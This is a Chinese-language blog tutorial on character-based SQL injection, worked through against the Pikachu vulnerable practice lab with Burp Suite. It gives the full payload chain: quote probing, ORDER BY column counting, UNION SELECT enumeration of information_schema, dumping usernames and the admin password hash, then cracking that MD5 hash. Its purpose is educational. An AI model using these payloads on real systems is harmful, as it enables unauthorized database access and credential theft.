随笔里的内容都是个人理解,如果有不对的地方,还望各位大佬多多指正。
一、理论基础
1、什么是字符型注入
字符型注入它发生在用户输入的参数被后端系统当作字符串处理,并且这些参数值在SQL查询语句中被特殊符号(如引号或括号)包裹起来的情况下。这种注入攻击的原理在于,如果后端系统没有对前端用户输入的数据进行适当的检验与过滤,用户输入的SQL语句片段可能会被直接传入到后端并被执行,从而导致数据库被非法访问和操作。
字符型注入的特点在于,输入的参数被视为字符串,并且在SQL查询语句中被单引号或其他特殊符号包围。例如,当用户在前端输入参数值,并且这个值被后端系统的SQL查询语句直接使用,而没有进行适当的验证或转义时,就可能发生字符型注入。攻击者可以利用这种漏洞,通过在输入参数中插入或“注入”额外的SQL代码,来执行未授权的数据库操作,如查看、修改、删除数据等。
2、SQL
union:SQL 的"UNION"操作符用于将两个或多个 SELECT 语句的结果组合成一个结果集。使用 UNION 时,各个 SELECT 语句必须返回相同数量的列,并且这些列的数据类型也必须相同。(这句话很重要)
database()是 MySQL 中的一个系统函数,用于返回当前操作的数据库名。
version()是 MySQL 中的一个系统函数,用于返回 MySQL 服务器的版本信息。
group_concat() 是 MySQL 中的一个聚合函数,它可以将多个行的某个字段值连接成一个字符串。这在需要将具有相同键值的多个记录合并为一个记录时非常有用。
3、SQL注入产生的原理
可控变量
带入数据库查询
变量未存在过滤或过滤不严谨
4、靶场
Pikachu漏洞练习平台
5、工具
burpsuite
二、注入思路
1、确认注入点
(1)使用burpsuite抓取请求数据,请求为get,id为可控变量
(2)id=1 后面多输入一个单引号 '
(3)提交请求后,发现SQL相关的报错,这里我们可以获得两个信息
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
①数据库为mysql,但是版本未知
②根据报错信息推测,后台执行的sql可能是这样
1 |
select xxx from table_name where d='$id'
id传入的value为1 ',则sql变成了 select xxx from table_name where id='1''
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
|
(4)构造sql,验证后面的sql能否正常执行
因此,传入 1' or 1=1 #
sql变成 select xxx from table_name where id='1' or 1=1 #'
执行查询后,页面返回正常,因此判断后面构造的sql可以正常执行
2、确认返回结果的列数
只有确认sql执行后,可以返回的字段数量,咱们才能将查询的结果正确返回到前端,实际上我们要确认的是后台sql中xxx到底是几个字段,select xxx from table_name where id='1' or 1=1 #'
这里使用order by 来确认sql执行的结果有几列,判断的逻辑是order by 后面跟上数字,就是按照第几列来排序,如 order by 4 就是按照第4列进行排序
构造参数 1' order by 4 #
如果第4列不存在,则报错如下
Unknown column '4' in 'order clause'
就这样不停尝试,就可以确认sql执行后的表有几列。
当传入参数为 1' order by 2# 时
页面返回正常,说明sql执行后,有2列
3、页面找返回结果展示的地方
上面确认了后台sql执行后的结果为2列,这时候要考虑如何才能看到这部分数据,或者说怎么才能让这部分数据展示在页面上
因此,我们尝试构造一个sql,使其经过数据库执行后,返回我们指定的内容给前端页面。
传入参数 1' and 1=2 union select 1,2 #
sql变成如下形式:
select c1,c2 from table_name where id='1' and 1=2 union select 1,2 #'
执行后,可以看到uid显示为 1,email显示为2,说明返回为两列,一列是uid,一列是email,我们可以把要查询的内容,通过uid和email这两个字段,传给前台页面
我们通过union将前后两个sql的查询结果合并了起来。结果都打印了出来,这样我们把1和2的位置确定了,后面就是通过这两个位置我们来展示sql执行的结果
这里有一个地方需要注意,如果页面不支持显示多个结果,比如这里显示了两个hello和两个email,我们可以将id改成负数或者加上 and 1=2,目的是屏蔽id查询到的结果,让页面只显示我们输入的sql语句的内容。
到这里,基本上这条路通了,应该就可以查到很多信息了。
4、找数据库和版本
构造参数 1' union select databases(),version() #
结合上面的信息我们知道,后台为mysql数据库,版本为8.0.26-0ubuntu0.20.04.2,当前所使用的库名为pikachu
5、找数据表
mysql中information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。
所以我们可以通过information_schema库来查找表和字段
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
COLUMNS表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaname.tablename的结果取之此表。
select table_name from information_schema.tables where table_schema='pikachu';
使用group_concat 将结果变成一个字符串
select group_concat(table_name) from information_schema.tables where table_schema='pikachu';
所以,请求中sql构造如下
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' #
我们已经获取到了数据表
6、找字段名
找字段和上面的逻辑一样,我们去查询information_schema.columns
这里users表,我们推测应该保存用户密码
所以,sql构造如下
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
7、获取目标信息
还是同样的逻辑,我们就可以获取用户以及密码了
获取所有用户
1' union select 1,group_concat(username) from users #
获取admin用户的密码
1' union select username,password from users where username='admin' #
8、解密
e10adc3949ba59abbe56e057f20f883e 32位,有可能是md5加密,尝试使用下方网站解密,解密后的结果为123456
https://www.cmd5.com/
标签:字符,name,sql,SQL,table,schema,select,注入 From: https://www.cnblogs.com/ops-blog/p/18264606